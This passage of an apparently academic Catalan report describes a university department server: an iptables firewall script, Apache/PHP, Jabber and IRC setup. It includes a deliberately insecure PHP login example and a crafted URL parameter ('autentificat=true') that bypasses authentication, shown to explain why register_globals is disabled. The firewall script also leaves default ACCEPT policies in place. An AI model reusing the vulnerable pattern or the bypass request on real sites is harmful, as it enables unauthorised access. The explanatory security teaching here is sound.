estar al dia i evitar tindre versions d'aplicacions amb bugs de seguretat.

La versióde GentooLinux amb la que es va fer la instal·lacióinicial va ser la 1.4
ReleaseCandidate2, perògraciesa les seveseinesd'actualitzacióautomatitzadeses
troba completamental dia. Tot el procésd'instal·lacióha sigut descrit a l'annex A
(Guiadereferènciaper la instal·laciói administraciódel servidor)quea méscontéla
descripció pas a pas de les tasques administratives més comunes.

FIREWALL  

Per incrementarla seguretatdel sistemas'ha implantatun firewall per controlar el
trafic entranti sortint.La millor solucióperentornsGNU/Linux esutilitzar NetFilter
que es troba completament integrat amb el kernel.

NetFilterportaiptablesqueconsisteixenunatablagenericaperla definició deregles.
Cada regla consisteix en un conjunt de característiquesque han de complir les
connexionsper que realitzin una determinadaacció, per exemple bloquejar la
connexió.

Les seves característiques principals són:

� Filtre de paquets per estat (connection tracking) 
� Traducció de qualsevol tipus d'adreça de xarxa
� Infraestructura flexible i extensible
� Gran nombre de característiques addicionals mitjançant patches.
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Les regles que s'han establer tanquen tots els ports que es troben oberts per
aplicacionsinternes que no tenen per que accedidesdes de l'exterior, com per
exempleMySQL obre el port 3306 però no permeteml'accésdirecte a aquesta
aplicaciódesde l'exterior. Els ports ocupatsper aplicacionsque si permetemaccés
són els següents:

Port 22 Servidor SSH/sFTP
Port 80 Servidor web
Port 443 Servidor web SSL
Port 5223 Servidor jabber SSL
Port 5777 Servidor IRC (SSL amb stunnel)

El port 22 de l'SSH a mésde permetrel'accés,es loggejatota connexióper tindre
constànciadesdequinaIP hi hahagutunaconnexió.De totselsportsanteriorsnomés
es permet accésamb el protocol TCP, el protocol UDP ha sigut completament
bloquejata tots els ports (els de la llista i la resta)exceptepel port 53 per poder
resoldre dominis utilitzant el Servei de Resolució de Noms (DNS).

Del protocolICMP s'hanfiltrat algunsquepodenafectarnegativamentalsusuarisdel
servidor d'IRC si algun atacant vol construir paquets d'aquest tipus maliciosos.

* Molts delsserveisals queesfan referènciaenaquestaseccióserancomentatsmés
endavant

A més es bloquejen certes adreçesde xarxa per evitar alguns atacs spoof que
consisteixenen fer creureal servidor que el client és algú que en realitat no és
(suplantaciód'IP). S'estableixenalgunscontrolsextraper intentarcontrolarels atacs
al sistema per flood o inundació de paquets.

A continuació es presenta l'script personalitzat que conté totes les regles del firewall:

#!/bin/bash
IPTABLES="/sbin/iptables";
ECHO="/bin/echo";
EXTERNAL_INTERFACE="eth0"; # Interfaz de internet
LOOPBACK_INTERFACE="lo"; # Interfaz de bucle

IPADDR="193.144.20.18" # Su direccion IP
ANYWHERE="0/0"; # Cualquier
direccion IP

LOOPBACK="127.0.0.0/8"; # Direcciones
reservadas al bucle invertido
CLASS_A="10.0.0.0/8"; # Redes privadas
Clase A
CLASS_B="172.16.0.0/12"; # Redes privadas Clase B
CLASS_C="192.168.0.0/16"; # Redes privadas Clase C
CLASS_D="224.0.0.0/4"; # Direcciones de
Clase D de multidifusion
CLASS_E="240.0.0.0/5"; # Direcciones de
Clase E reservadas

BROADCAST_SRC="0.0.0.0"; # Direcciones origen de
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 difusion
BROADCAST_DEST="255.255.255.255"; # Direccions de destino de
difusion
PRIVPORTS="0:1023"; # Puertos privilegiados
UNPRIVPROTS="1024:65535"; # Puertos no privilegiados

echo "KERNEL FIREWALL 2.0 ($IPADDR)";

################## EMPEZAMOS DE 0 ########################
$IPTABLES -F
$IPTABLES -F -t nat

################## GENERAL RULES #########################
echo "General rules..."
$IPTABLES -P INPUT ACCEPT
$IPTABLES -P OUTPUT ACCEPT
$IPTABLES -P FORWARD ACCEPT

################## ANTISPOOF #########################
echo "AntiSpoof..."
# Block outside input from reserved address ranges (AntiSpooF)
# Aceptar conexiones desde las ips de la universidad
$IPTABLES -A INPUT -p all -j ACCEPT -s 10.0.0.0/8 -i
$EXTERNAL_INTERFACE -d $ANYWHERE
$IPTABLES -A INPUT -p all -j REJECT -s $LOOPBACK -i
$EXTERNAL_INTERFACE -d $ANYWHERE
$IPTABLES -A INPUT -p all -j REJECT -s $CLASS_A -i
$EXTERNAL_INTERFACE -d $ANYWHERE
$IPTABLES -A INPUT -p all -j REJECT -s $CLASS_B -i
$EXTERNAL_INTERFACE -d $ANYWHERE
$IPTABLES -A INPUT -p all -j REJECT -s $CLASS_C -i
$EXTERNAL_INTERFACE -d $ANYWHERE
$IPTABLES -A INPUT -p all -j REJECT -s $CLASS_D -i
$EXTERNAL_INTERFACE -d $ANYWHERE
$IPTABLES -A INPUT -p all -j REJECT -s $CLASS_E -i
$EXTERNAL_INTERFACE -d $ANYWHERE

$IPTABLES -A INPUT -p all -j REJECT -d $LOOPBACK -i
$EXTERNAL_INTERFACE -s $ANYWHERE
$IPTABLES -A INPUT -p all -j REJECT -d $CLASS_A -i
$EXTERNAL_INTERFACE -s $ANYWHERE
$IPTABLES -A INPUT -p all -j REJECT -d $CLASS_B -i
$EXTERNAL_INTERFACE -s $ANYWHERE
$IPTABLES -A INPUT -p all -j REJECT -d $CLASS_C -i
$EXTERNAL_INTERFACE -s $ANYWHERE
$IPTABLES -A INPUT -p all -j REJECT -d $CLASS_D -i
$EXTERNAL_INTERFACE -s $ANYWHERE
$IPTABLES -A INPUT -p all -j REJECT -d $CLASS_E -i
$EXTERNAL_INTERFACE -s $ANYWHERE

# Bloquean los paquetes de difusion de origen o destino ilegales
$IPTABLES -A INPUT -i $EXTERNAL_INTERFACE -s $BROADCAST_DEST -j DROP
$IPTABLES -A INPUT -i $EXTERNAL_INTERFACE -d $BROADCAST_SRC -j DROP
# Rechazar las direcciones multidifusion de clase D que son solo
ilegales si son como origen
$IPTABLES -A INPUT -i $EXTERNAL_INTERFACE -s $CLASS_D -j DROP
$IPTABLES -A OUTPUT -o $EXTERNAL_INTERFACE -s $CLASS_D -j REJECT

### Faltaria bloquear por la interfaz $EXTERNAL_INTERFACE el trafico
con ip igual a la de esta maquina

# Block outside input from reserved address ranges (AntiSpooF)  <-->
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 Reverse
# Don't send packets out to reserved address ranges
$IPTABLES -A OUTPUT -p all -j REJECT -s $LOOPBACK -o
$EXTERNAL_INTERFACE -d $ANYWHERE
$IPTABLES -A OUTPUT -p all -j REJECT -s $CLASS_A -o
$EXTERNAL_INTERFACE -d $ANYWHERE
$IPTABLES -A OUTPUT -p all -j REJECT -s $CLASS_B -o
$EXTERNAL_INTERFACE -d $ANYWHERE
$IPTABLES -A OUTPUT -p all -j REJECT -s $CLASS_C -o
$EXTERNAL_INTERFACE -d $ANYWHERE
$IPTABLES -A OUTPUT -p all -j REJECT -s $CLASS_D -o
$EXTERNAL_INTERFACE -d $ANYWHERE
$IPTABLES -A OUTPUT -p all -j REJECT -s $CLASS_E -o
$EXTERNAL_INTERFACE -d $ANYWHERE

# Aceptar conexiones hacia las ips de la universidad
$IPTABLES -A OUTPUT -p all -j ACCEPT -d 10.0.0.0/8 -o
$EXTERNAL_INTERFACE -s $ANYWHERE
$IPTABLES -A OUTPUT -p all -j REJECT -d $LOOPBACK -o
$EXTERNAL_INTERFACE -s $ANYWHERE
$IPTABLES -A OUTPUT -p all -j REJECT -d $CLASS_A -o
$EXTERNAL_INTERFACE -s $ANYWHERE
$IPTABLES -A OUTPUT -p all -j REJECT -d $CLASS_B -o
$EXTERNAL_INTERFACE -s $ANYWHERE
$IPTABLES -A OUTPUT -p all -j REJECT -d $CLASS_C -o
$EXTERNAL_INTERFACE -s $ANYWHERE
$IPTABLES -A OUTPUT -p all -j REJECT -d $CLASS_D -o
$EXTERNAL_INTERFACE -s $ANYWHERE
$IPTABLES -A OUTPUT -p all -j REJECT -d $CLASS_E -o
$EXTERNAL_INTERFACE -s $ANYWHERE

################## PROTOCOL: TCP #########################
echo "Protocol: tcp..."

  # Abrir ssh al exterior y logear conexiones
$IPTABLES -A INPUT -i $EXTERNAL_INTERFACE -p tcp --destination-port
22 --syn -j LOG --log-prefix "FireWall SSH:" --log-level 6
$IPTABLES -A INPUT -i $EXTERNAL_INTERFACE -p tcp --destination-port
22 -j ACCEPT

$IPTABLES -A INPUT -i $EXTERNAL_INTERFACE -p tcp --destination-port
80 -j ACCEPT

$IPTABLES -A INPUT -i $EXTERNAL_INTERFACE -p tcp --destination-port
443 -j ACCEPT

# Block TCP connections from the outside
$IPTABLES -A INPUT -i $EXTERNAL_INTERFACE -p tcp --destination-port
:1023 --syn -j REJECT
$IPTABLES -A INPUT -i $EXTERNAL_INTERFACE -p tcp --destination-port
:1023 -j REJECT
$IPTABLES -A INPUT -i $EXTERNAL_INTERFACE -p tcp --destination-port
3306 -j REJECT
# 5222 No permitir conectar a jabber de forma insegura, solo
mediante ssl nativo por 5223
# o por stunnel en 5234
$IPTABLES -A INPUT -i $EXTERNAL_INTERFACE -p tcp --destination-port
5222 -j REJECT
$IPTABLES -A INPUT -i $EXTERNAL_INTERFACE -p tcp --destination-port
6000:6003 -j REJECT
$IPTABLES -A INPUT -i $EXTERNAL_INTERFACE -p tcp --destination-port
6668 -j REJECT
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################## PROTOCOL: UDP #########################
echo "Protocol: udp..."
$IPTABLES -A INPUT -i $EXTERNAL_INTERFACE -p udp --source-port 53 -j
ACCEPT 
$IPTABLES -A INPUT -i $EXTERNAL_INTERFACE -p udp -j REJECT

# Block all UDP except nameserver requests
$IPTABLES -A OUTPUT -o $EXTERNAL_INTERFACE -p udp --destination-port
53 -j ACCEPT 
$IPTABLES -A OUTPUT -o $EXTERNAL_INTERFACE -p udp -j REJECT

################## PROTOCOL: ICMP #########################
echo "Protocol: icmp..."
##### Para evitar nukes en irc
$IPTABLES -A INPUT -i $EXTERNAL_INTERFACE -p icmp --icmp-type
destination-unreachable -j DROP
$IPTABLES -A INPUT -i $EXTERNAL_INTERFACE -p icmp --icmp-type
network-unreachable -j DROP
$IPTABLES -A INPUT -i $EXTERNAL_INTERFACE -p icmp --icmp-type host-
unreachable -j DROP
$IPTABLES -A INPUT -i $EXTERNAL_INTERFACE -p icmp --icmp-type
protocol-unreachable -j DROP
$IPTABLES -A INPUT -i $EXTERNAL_INTERFACE -p icmp --icmp-type port-
unreachable -j DROP
$IPTABLES -A INPUT -i $EXTERNAL_INTERFACE -p icmp --icmp-type
fragmentation-needed -j DROP
$IPTABLES -A INPUT -i $EXTERNAL_INTERFACE -p icmp --icmp-type
source-route-failed -j DROP
$IPTABLES -A INPUT -i $EXTERNAL_INTERFACE -p icmp --icmp-type
network-unknown -j DROP
$IPTABLES -A INPUT -i $EXTERNAL_INTERFACE -p icmp --icmp-type host-
unknown -j DROP
$IPTABLES -A INPUT -i $EXTERNAL_INTERFACE -p icmp --icmp-type
network-prohibited -j DROP
$IPTABLES -A INPUT -i $EXTERNAL_INTERFACE -p icmp --icmp-type host-
prohibited -j DROP
$IPTABLES -A INPUT -i $EXTERNAL_INTERFACE -p icmp --icmp-type TOS-
network-unreachable -j DROP
$IPTABLES -A INPUT -i $EXTERNAL_INTERFACE -p icmp --icmp-type TOS-
host-unreachable -j DROP
$IPTABLES -A INPUT -i $EXTERNAL_INTERFACE -p icmp --icmp-type
communication-prohibited -j DROP
$IPTABLES -A INPUT -i $EXTERNAL_INTERFACE -p icmp --icmp-type host-
precedence-violation -j DROP
$IPTABLES -A INPUT -i $EXTERNAL_INTERFACE -p icmp --icmp-type
precedence-cutoff -j DROP
$IPTABLES -A INPUT -p icmp -j ACCEPT

# Allow ICMP to the outside
$IPTABLES -A OUTPUT -p icmp -j ACCEPT

## Proteccion Syn-Flood
$IPTABLES -A FORWARD -i $EXTERNAL_INTERFACE -p tcp --syn -m limit --
limit 1/s -j ACCEPT
## Proteccion Port-Scanner
$IPTABLES -A FORWARD -i $EXTERNAL_INTERFACE -p tcp --tcp-flags
SYN,ACK,FIN,RST RST -m limit --limit 1/s -j ACCEPT

echo "Done!"
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SERVIDOR WEB  

Com ja he indicat a la fasede disseny,el servidorweb escollit esApache.Ha sigut
compilatambsuportperfuncionsdeconnexióaservidorsdecorreuIMAP o POP3,ja
que aquestacaracterísticaserà utilitzada per un webmail donaréa conèixer més
endavant.

A més,s'hancompilatels mòdulsmod_sslper tenir suportd'SSL (protocolxifrat) i
mod_php per disposar  de PHP.

El servidor ha sigut configuratper rebreles peticionsno xifradespel port 80 i les
xifradesamb SSL pel 443, quesón els habitualsen aquestscasos.Podràservir una
planaprincipal quecorrespondràa l'aplicacióweb desenvolupadai tambépot servir
lesplanesdelsusuarisdel sistema.En elsdoscasosesdisposaràd'undirectori“html/”
a on ficar les planesque no necessitinxifrat i d'un altre directori “shtml/” a on es
guardaran les planes que necessitin SSL.

Mod_phpha sigut configuratde forma segura.Amb mod_phpexisteixla possibilitat
de accedira la informació enviadades de formularis facilment per variables,per
exemple, del seguent formulari:

<form action=”processar.php” method=”GET”>
<input type=”text” name=”info”>
<input type=”submit” value=”Procesar”>

</form>

Enviariala dada“info” a la pàginaprocessar.phpi dintred'aquestaespodriatractarde
la següent forma:

<?php
echo “La dada info conté: “ . $info;

?>

Aquesta característica que fa que aquest processat d'informació des del formulari sigui
molt senzill creatambéun risc de seguretat,veiem a continuacióun exempled'un
formulari autentificació:

<form action=”autentificar.php” method=”GET”>
<input type=”text” name=”nom”>
<input type=”password” name=”password”>
<input type=”submit” value=”Login”>

</form>
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Aquest formulari envia les dades a “autentificar.php” que conté el següent codi:

<?php
if (ComprovarAutentificacioBD($nom, $login)) {

$autentificat = true;
}
[.......]
if ($autentificat) {

// Visualitzar menu administrador
}

?>

Aquest codi seria vulnerable,el formulari generaràuna petició al autentificar.php
tipus “http://deim.etse.urv.es/autentificar.php?nom=Admin&password=Dfa2”,si el
passwordes incorrecteno esvisualitzaráel menúd'administrador,peròquepassasi
modifiquem aquesta petició i fem la crida de la següent forma
“http://deim.etse.urv.es/autentificar.php?nom=Admin&password=Dfa2&autentificat=
true”. Amb aquestapetició, podríemaccediral menúd'administradorsensetenir el
seupassword,ja que quanel codi fa ”if ($autentificat)”agafariala variableque li
passem a la petició en comptes de la variable local.

Aquest tipus d'errors es poden evitar configurant mod_php amb el paràmetre
“register_globals= Off”, d'aquestaformaquanesvulgui accedira informacióenviada
des de formularis s'utilitzarà: $GET[“info”], $POST[“info”] ó $REQUEST[“info”].

Cal indicar queels formularisqueenvienles dadesambmètode“GET” generenuna
URL ambels valorsdel formulari visibles,això tambépot suposarinconvenientper
exemplea l'hora d'autentificarja queel passwordquedavisible. Per tant per aquest
tipus de formulari es millor utilitzar el mètode“POST” que envia les dadessense
mostrar-les a la URL.

SERVIDOR DE MISSATGERIA INSTANTÀNIA  

El servidor per l'intranet del Departamentd'informàtica i matemàtiquesno tenia
perquèlimitar-senomésa servir unaaplicacióweb sinóquetambéespodriautilitzar
com unaeïnaper potenciarla comunicacióactivaentreprofessorso personalintern
del departament,o inclús entreprofessorsi estudiants.Es per això es que un dels
primers serveis que es va estudiar la seva implantació va ser la missatgeria
instantània.
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El protocol lliure per excel·lènciade missatgeriainstantàniaactualmentés Jabber.
JabberésunprotocolobertXML queofereixunesfuncionalitatssimiliarsalssistemes
tradicionalsde missatgeriainstantàniacom AIM, ICQ, MSN i Yahoo. Peròa més
disposa de més avantatges:

� Obert: el protocol Jabberses lliure, obert, públic, fàcil i existeixen diverses
implementacions lliures de servidors i clients.

� Extensible: utilitzant el poder del XML es poden ampliar les funcionalitats
fàcilment.

� Descentralitzat:qualsevolpot tenir el seupropi servidorJabber,possibilitantaixí
queindividualso organitzacionspendreel control i implantar-hosegonsles seves
necessitats.Així també evitem monopolis sobre la tecnologia i la possibilitat
d'escollir el servidor que millor s'adapti al client.

� Interconnexió:tots els servidorses comuniquenentresi de forma que un usuari
connectat al servidor A pot veure a un usuari connectat al servidor B.

� Segur:Existeixenimplementacionsde servidor jabber que utilitzen SSL per les
connexions,d'aquestaforma tota la informació que s'enviaentre client-servidor
estaxifrada i fora de l'abastde curiosos,de forma queesprotegeixla intimitat de
l'usuari.

� Connexionsa altressistemesdemissatgeria:Jabberofereix la possibilitatd'utilitzar
altressistemesde missatgeriamitjançantl'ús de gateways.Es a dir, desdel seu
client Jabberpots comunicar-teamb els seusconegutsque utilitzen clients de
missatgeria alternatius com MSN Messenger, ICQ, AIM i Yahoo Messenger.

L'arquitecturade Jabberés extremadamentsimilar al sistemade missatgeriamés
utilitzat al mon: el correuelectrònic.Hi han diferenciesperò si es pensaen Jabber
comun mail instantanino anemgairemal encaminats.Veiem com funcionaambun
exemple:

En tota la documentacióde jabberhi ha una certacostumd'utilitzar exemplesamb
textsdeShakespeare,i així ho mostraréjo també.Imaginema Romeoi Julieta,Julieta
té un compteen un servidorJabberi la sevaadreças'assemblaa un email però en
realitat es el ques'anomenaun JabberIDo JID: julient@capulet.com(com és de la
família dels Capuletutilitza el seuservidor).Romeoté un compteal servidorde la
família Montague i la seva adreça és romeo@montague.net.

QuanJulietaes connectaal servidorde capulet.comella pot enviarmissatgesal seu
estimat, aquest seria el procediment:

1. Julietaenvia un missatgeadreçata romeo@montague.netutilitzant el seuclient
jabber sota un entorn Microsoft Windows.
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2. El missatge es processat pel servidor capulet.com

3. El servidor capulet.comobre una connexióa montague.netsi no hi havia cap
oberta abans

4. Suposantque a cap servidor no estadeshabilitatles comunicacionsservidor-a-
servidor,  el missatge de Julieta és enrutat  al servidor jabber montague.net

5. El servidormontague.netveu queel missatgeésper l'usuarianomenat“romeo” i
l'entregaal client que utilitza Romeo al seu ordinador personalen un entorn
GNU/Linux.

En tots aquests passos tenim diferents punts a destacar:

� Els clients s'executen en diferents sistemes operatius.
� Existeixen multiples servidors.
� Usuaris de diferents servidors es poden comunicar entre si.

Es pot veure el procediment fàcilment en el següent esquema:

Tornema centrar-nosen el servidordel DEIM, s'haconfiguratun servidorJabberal
qual noméses pot connectar-seutilitzant SSL, les connexionsno xifradeshanestat
deshabilitadesper garantir la intimitat que quan dos professors/estudiantses
comuniquen dintre del mateix servidor jabber.
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Perconnectar-seal servidorhi ha unagranquantitatde clientsper diferentsentorns.
Com que el servidor jabber del DEIM nomésacceptaconnexionsamb SSL per
garantir la privacitat dels usuaris,es necessitaun client amb suport SSL. Els més
populars són:

Exodus (http://exodus.jabberstudio.org) - Plataforma Windows
PSI (http://psi.affinix.com/) - Plataforma Linux, Windows i MAC
Gabber (http://gabber.sourceforge.net/) - Plataforma Linux

SERVIDOR D'IRC  

La comunicacióutilitzant missatgeriainstantàniapot cobrir certesnecessitatsde
comunicaciódirectaamb personesindividuals,però no cobreix satisfactòriamentla
necessitatde comunicacióentregrupsmésgransde personesquevulguin participar
per exemple en debats. Per cobrir aquesta necessitat s'ha implantat un servei d'IRC.

IRC (InternetRelayChat) ésun sistemade comunicacióen tempsreal. Permetque
diversosusuarisesreuneixinsimultàniamentper fer tertúlieso debatsen el moment
en mode textual, no com als coneguts fòrums que la resposta no es immediata.

Així el servidordel DEIM ofereixaquestserveia estudiantsi professorde formaque
podrien quedar grups d'alumnes/professorsper resoldre dubtes, parlar sobre
pràctiques, fer conferencies virtuals amb persones d'altres universitats, etc... 

Com a servidorhe escollit UltimateIRCd(http://www.shadow-realm.org/),basaten
DreamForgeIRCd (Servidor que utilitzaven a la xarxa DALnet). UltimateIRCd
ofereix les següents característiques generals:

Modes de canals
Un canal ésun lloc on espodenreunir diversosusuaris,els operadorsd'aquests
poden modificar el modes de funcionament del canal.

� Excepcions de bans/restriccions d'accés (+e)
� HalfOps (+h)
� Treure els colors del texte/Strip Colors (+S)
� No permetre colors/No Colors (+x)
� Límit de quantitat de text per segons/Flood Limits (+f)
� Canals lligats/Linked Channels (+L)
� Prohibir invitar al canal/No Invites (+I)
� Prohibir rebre solicituds per entrar al canal/No Knocks (+K)
� Canal només per operadors/Oper only channels (+O)
� Canal només per administradors/Admin only channels (+A) 
� Més tots els modes estàndards de tots els IRCd....
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Modes d'usuari
Un usuari pot trobar-seen diferentsmodes,somcom atributs que afectena les
funcionalitats del servidor d'IRC

� IP Virtual de forma que ningú pot saber des d'on et connectes/Hidden Host (+x)
� Protecció als operadors de l'IRC/Protected IRCOp (+p)
� Whois Notices (+m) Només Operadors
� Mostrar canals en modes secret/privat al fer un “/list” (+M) Només Operadors
� Bot Registrat (+B)
� Bot Servidor (+b)
� Serveis de client (+S)
� Monitor client de xarxa (+X)
� Rebre Info Notices de la xarxa (+n)
� Rebre Global Notices de la xarxa (+G)
� Rebre WatchDog Notices (+W)
� RebreGlobal Connect/DisconnectNoticessi estapermèsen la configuraciódel

sistema (+F)
� Administrador (+z)
� Administrador de serveis (+P)
� SuperAdministrador de serveis/Services Root Admins (+R)
� Administrador del servidor (+A)
� Administrador técnic (+T)
� Administrador de xarxa (+N)
� Administrador d'IRC (+Z)
�  Més tots els modes estàndards de tots els IRCd....

Comandes

� /MakePass– Xifra text pla deformaquepuguiserutilitzar perfer O-Lines(Línees
d'operadors que s'afegeixen al arxiu de configuració de l'IRCd).

� /AdChat – Envia el text a tots els administradors connectats.
� /GSop – Envia el text a tots el Operadors de servei connectats.
� /NetG – Envia a tots els Operadors +G connectats.
� /NetInfo – Envia el text a tots els Operadors +n connectats.
� /Nmon - Envia el text a tots els Operadors +W connectats.
� /Rules – Mostra l'arxiu ircd.rules amb les regles del servidor.
� /Map – Mostraun mapade totsels servidorsde la xarxai el percentatged'usuaris

en cadascun d'aquests.
� /AddHub – Afegir una H-Line a l'arxiu de configuració ircd.conf.
� /DelHub - Esborrar una H-Line de l'arxiu de configuració ircd.conf.
� /AddCNLine - Afegir una C/N-Line a l'arxiu de configuració ircd.conf.
� /DelCNLine - Esborrar una C/N-Line de l'arxiu de configuració ircd.conf.
� /AddQLine - Afegir una Q-Line a l'arxiu de configuració ircd.conf.
� /DelQLine - Esborrar una Q-Line de l'arxiu de configuració ircd.conf.
� /AddULine - Afegir una U-Line a l'arxiu de configuració ircd.conf.
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� /DelULine - Esborrar una U-Line de l'arxiu de configuració ircd.conf.
� /AddOper - Afegir una O-Line a l'arxiu de configuració ircd.conf.
� /DelOper - Esborrar una O-Line de l'arxiu de configuració ircd.conf.
� /Credits – Mostra els crèdits d'UltimateIRCd.
� /OperMOTD – Mostra el fitxer ircd.opermotd si existeix.
� /RemRehash – Fa un rehash a la configuració del servidors.
� /Gline – Afegeix una G-Line a la llista de G-Line de xarxa.
� /RemGline - Esborra una G-Line de la llista de G-Line de xarxa.
� /TSCTL – Permetajustar la hora en el servidor IRC per sincronitzar-seamb la

resta de la xarxa.
� /SAJoin – Permet als Operadorsde servei forçar als clients a entrar en un

determinat canal.
� /SAPart– PermetalsOperadorsdeserveiforçaralsclientsa sortir d'undeterminat

canal.
� /SVSJoin – Permet als serveis forçar a clients a entrar en un determinat canal.
� /SVSPart - Permet als serveis forçar a clients a sortir d'un determinat canal.
� /IsOper– Indica si un client esun Operador,OperadorLocal o OperadorGlobal.

Així fa fàcil queelsbotso scriptstrobin Operadorsi no malgastinampledebanda
utilitzant la comanda /whois.

� /SDesc – Permet canviar la línea d'informació del servidor sensehaver de
desconnectar-se de la xarxa.

� /SetHost – Permet als operadors canviar la seva IP Virtual.
� /ChgHost – Permet als operadors canviar la IP Virtual d'altres usuaris.
� /SetIdent – Permet als operadors canviar el seu identificador d'usuari.
� /ChgIdent – Permet als operadors canviar l'identificador d'usuari d'altres clients.
� /SetName – Permet als usuaris canviar el seu RealName.
� /RandQuote – Mostra una frase aleatòria de l'arxiu ircd.quotes.
� /AddQuote – Afegeix una frase al arxiu ircd.quotes.
� /AddGQuote– Permetals administradortècnicsi de xarxaafegir frasesals fitxers

ircd.quotes de tots els servidors.
� /Knock – Permetals usuarisdemanarpermísper entrarencanalsambel mode+i

(només convidats).
� /Settings – Permet als operadors veure configuracions dels servidor.
� /IRCOPS– Llista delsOperadorsd'IRC connectatsqueno tinguinel mode+b o U-

Lined
� Més totes les comandes estàndards de tots els IRCd....

Altres característiques...
� Sistema de G-Lines que es manté sincronitzat per tota la xarxa.
� Frases aleatories quan es connecta un usuari llegides del ircd.quotes.
� Control de violacions de segment guardant tota la informació al ircd.log.
� Sistema de modes de canals nou i més sofisticat.
� HalfHubs i TrueHubs- HalfHub és un hub que no pot enviar noticesa tota la

xarxa. TrueHub  es l'estàndard servidor HUB per inteconnectar diferents servidors.
� Configuracions fàcils i extensibles utilitzant arxius de configuracións clars.
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� El màxim global d'usuaris es sempre el mateix a tots els servidors de tota la xarxa.
� Màxim local d'usuarisi TSOffsetguardatsal seupropi arxiu (ircd.tune)de forma

que es pot recuperar al reiniciar el servidor.
� Sistemaper ocultar les IPs delsclientsmillorat (+x). Es garanteixqueels usuaris

del servei i les seves connexions siguin anònimes. 

Com ja hemindicat a la part de dissenyhe tingut coma prioritat la privacitatde les
personesquefacin úsd'aquestservei,peraixò la únicaformadeconnectar-sea ell és
mitjançantun túnel SSL,de forma que totesles conversesquetinguin lloc viatjaran
perla xarxaxifrades.Els túnelsSSLambstunnelsja hansigutexplicatsa la seccióde
disseny.

El servidor ha sigut configurat per escoltarpel port 5557 ja que la xarxa de la
universitatfiltra el port habitualper l'IRC 6667desde l'exteriorde forma queno es
poden rebre connexions.

* Actualmentnoméshi ha un servidord'IRC,per tant quanfaig referènciaa la xarxa
d'IRCnomésemrefereixoa aquest,si enun futur s'afegeixinmésservidorsllavor la
xarxa englobaria a tots ells.

A mésdel serveid'IRC, s'hanincorporatuns Bots que permetenregistrarnicks (el
pseudònimque s'usaper comunicar-se),registrarcanals(les salesa on els usuaris
entrenperparlar),entrealtrescoses.D'aquestaforma el professorspodriensol·licitar
la reservad'un nick i un canalper tindre ells el control d'aquestsi utilitzar-los per la
sevacomunicacióambels alumnes.A aquestsBots se'lsanomenaserveisd'IRC i he
escollit els Epona IRC Services (http://www.epona.org).

Els serveisEponapermetenals usuarisde l'IRC gestionarels seusnicks i canalsde
forma segurai eficient, a mésels administradorspodengestionarla sevaxarxaamb
unes utilitats molt més poderoses que les proporcionades pel propi servidor d'IRC.

Actualment Epona té els següents serveis:

� NiCK: Gestordenick ambel qualelsusuarispodenprotegirels seusnomsperno
serutilitzats perningúmési no sersuplantats.Cadausuarité el seupropi grupde
nicksdeformaqueespot registrarambdiversosnicksi compartirentretotsells els
privilegis dels que disposi.

� CHaN: Gestorde canalsque ajuda als usuarisa administrarels seuscanalsde
forma totalment configurable.CHaN té un llistat intern d'usuarisprivilegiats i
usuarisrestringits(banejats)percontrolarl'accésa cadascundelscanalsregistrats.
Eliminaelsatacstipus“takeover”queconsisteixenenaconseguirserl'operadordel
canali pendreel control treientprivilegis a la restad'usuaris,tot gràciesa lesseves
poderoses comandes per aconseguir ser Operador/Desbanejar-se/Invitar-se.
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� MeMo: Fantàsticservei que permetenviar missatgescurts a usuarisque no es
trobin connectats en el moment.  

� BoT: Serveiquepermetals usuaristindre un bot permanenten els seuscanalsde
forma senzilla. Cada bot pot ser configurat per monitoritzar canals en contra d'atacs
de flood, repeticions,escripturaen majúsculesi paraulesmal sonants.A méspot
gestionarcomandesespecials(!op,!deop,!voice,!devoice,!kick),comunicarpetits
missatgesquan un usuari entra al canal. Tot i això, aquest servei pot ser
deshabilitat per reduir el consum d'ample de banda.

� OpeR:ServeipelsOperadorsi Administradorsd'IRC.Permetgestionarla llista de
bansde la xarxa(conegutscom AKILLs o GLINEs), configurarmissatgesquees
mostraranalsusuarisal entraral servidor,establirmodes,fer fora decanalsa certs
usuaris, enviar missatges a tota la xarxa ràpidament i moltes coses més.

Per comincar-se i obtenir més ajuda dels Bots s'utilitzarà:

/msg nick help
/msg chan help
/msg memo help
/msg bot help
/msg oper help

Tota la informació d'aquestsserveises troba traduïdaa varis idiomes,entreells el
Castellàqueesel ques'haseleccionat.Desafortunadamentno existeixcaptraducció
al Català.

Per administrarel servei d'IRC existeixendiferentsrols, algunsdel quals ja hem
esmentatel seunomperòarapassarema enumerar-losenordredemenysprivilegiat a
més:

- Nivells d'IRCd -
Rol que pot tenir un usuari a nivell d'IRC

Local IRC Operator 
Global IRC Operator 
Administrator 
Server Administrator 
Technical Administrator 
Network Administrator 
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- Nivells dels Serveis - 
Rol que pot tenir un usuari a nivell dels serveis Epona, a l'ajuda del bot oPeR es
poden veure els privilegis de cadascun.

Services operator 
Services administrator 
Services root administrator 

Per connectar-seal servidord'IRC cal primer establir la comunicacióamb el túnel
SSL per que les dades viatgin xifrades amb el programa stunnel
(http://www.stunnel.org)ja explicata la secciódedisseny.Seguidamentnecessitarem
un client d'IRC, els més populars són:

Sistemes Windows

� mIRC (http://www.mirces.com) -  El més conegut. 
� IRCap (http://www.ircap.com) - Script que utilitza mIRC. 
� XChat (http://www.xchat.org) - Avantatge: és lliure. 

Sistemes GNU/Linux

� BitchX (http://www.bitchx.org) - Client de consola. 
� Luna (http://lunascript.sourceforge.net) – Script per BitchX. 
� XChat (http://www.xchat.org) - Client gràfic que usa les llibreries GTK. 
� Kvirc (http://www.kvirc.net) - Client gràfic que usa les llibreries QT 

Per facilitar la connexiós'hacreatun arxiu amb el programastunnelper windows
empaquetatjunt amb un arxiu de procésper lots .bat que s'encarregad'establirel
tunnel amb el servidor. Els passos per realitzar la connexió serien:

1.- Baixar i descomprimir l'stunnel empaquetat per entorns Windows
(http://deim.etse.urv.es/aplicacions/IRC/Windows/stunnel.zip)

2.- Executar stunnel-irc.bat per establir el túnel

3.- Arrancar el client d'IRC que hagi escollit

4.- Connectar-sea localhostal port 6667o bé de forma gràficao bé especificantla
següent comanda: /server localhost
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Algunsdelsclientsd'IRC,comperexempleXChat,si hansigutcompilatsambsuport
SSL,podriarealitzarconexionssensehaverd'utilitzar stunnel.Nomésindicantcoma
servidordeim.etse.urv.es(port 5557),querealitzi unaconexióseguraambSSL i que
accepticertificatsinvàlids (això es necessariperquèel certificat ha sigut firmat per
nosaltres mateixos i no per una entitat externa).

Per aquellespersonesque treballin amb GNU/Linux poden baixar-seel codi de
